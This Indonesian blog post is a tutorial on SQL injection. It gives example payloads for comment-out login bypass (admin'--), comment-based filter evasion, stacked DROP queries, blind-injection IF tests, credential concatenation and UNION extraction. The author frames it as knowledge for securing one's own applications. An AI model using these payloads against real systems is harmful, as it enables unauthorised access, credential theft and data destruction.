Konsep dasar sql injection

SQL Injection attack merupakan salah satu teknik dalam melakukan web hacking utk menggapai akses pada sistem database yg berbasis SQL. Teknik ini memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL dalam mengolah suatu sistem database. Hasil yg ditimbulkan dari teknik ini membawa masalah yg sangat serius. Mengapa disebut SQL Injection ? seperti yg kita ketahui, injection jika diartikan ke dalam bahasa Indonesia yaitu “suntikan”. Yang terjadi memang seperti melakukan suntikan terhadap SQL yg tujuannya adalah tergantung kepada pelakunya dan pada intinya jika disalahgunakan maka akan membawa aspek negatif terhadap korban.

Sudah disinggung diatas bahwa SQL Injection attack memanfaatkan kelemahan dalam bahasa pemprograman scripting pada SQL maksudnya adalah memanfaatkan teknik string building untuk mengeksekusi/menjalankan kode SQL. Jadi prinsip dasar SQL Injection sebenarnya memanfaatkan kode insecure (tidak aman) atas sebuah sistem yg terhubung ke internet dalam upaya melangkahi command (perintah) dan secara langsung menuju ke database untuk kemudian mengambil keuntungan dari sistem yg dijamin aman untuk melakukan pengambilan atau pengubahan atau lain sebagainya oleh penyerang.

SQL-Injection dapat dilakukan pada sebuah aplikasi web yang tidak menyaring input pengguna dengan benar dan mempercayai apa pun pengguna masukkan. Ide injeksi SQL adalah untuk membuat aplikasi untuk menjalankan query SQL yang tidak diinginkan.
Keuntungan yg diambil adalah seperti login akses terhadap server yg bukan haknya atau yg lainnya, tergantung kepada penyerangnya.

Contoh Syntax SQL Injection
1. Commenting out.
Gunanya untuk mengakhiri suatu query, bypass query.
+ SQL Server
Syntax: –
Penggunaan: DROP namatabel;–
+ MySQL
Syntax: #
Penggunaan: DROP namatabel;#

Contoh penggunaan in real life:
* Username: admin’–
* Proses query yang terjadi di server:
SELECT * FROM userlist WHERE username=’admin’–’ AND password=’password’;
Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan

2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist

+ MySQL (mendeteksi versi)
Syntax: /*!MYSQL Special SQL*/
Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabel
Note: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02 (sesuai query), tidak berfungsi untuk versi dibawahnya

3. Staking queries
Gunanya untuk menyambung 2 buah query dalam 1 transaksi.
+ SQL Server
Syntax: ;
Penggunaan: SELECT * FROM namatabel; DROP namatabel–

4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,’false’)

5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-’ + password FROM userlist
+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-’ || password FROM userlist

Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist

6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama jumlah kolomnya.

Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:
SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM namatabel

Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel

*ps: Saya tulis ini bukan utk ngajarin berbuat jahat ya :p , ilmu ini harus dimiliki oleh programmer utk menjaga security dari aplikasi web yg dia buat. So, silahkan test aplikasi anda, apakah bisa dijebol dgn SQL injection😀

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s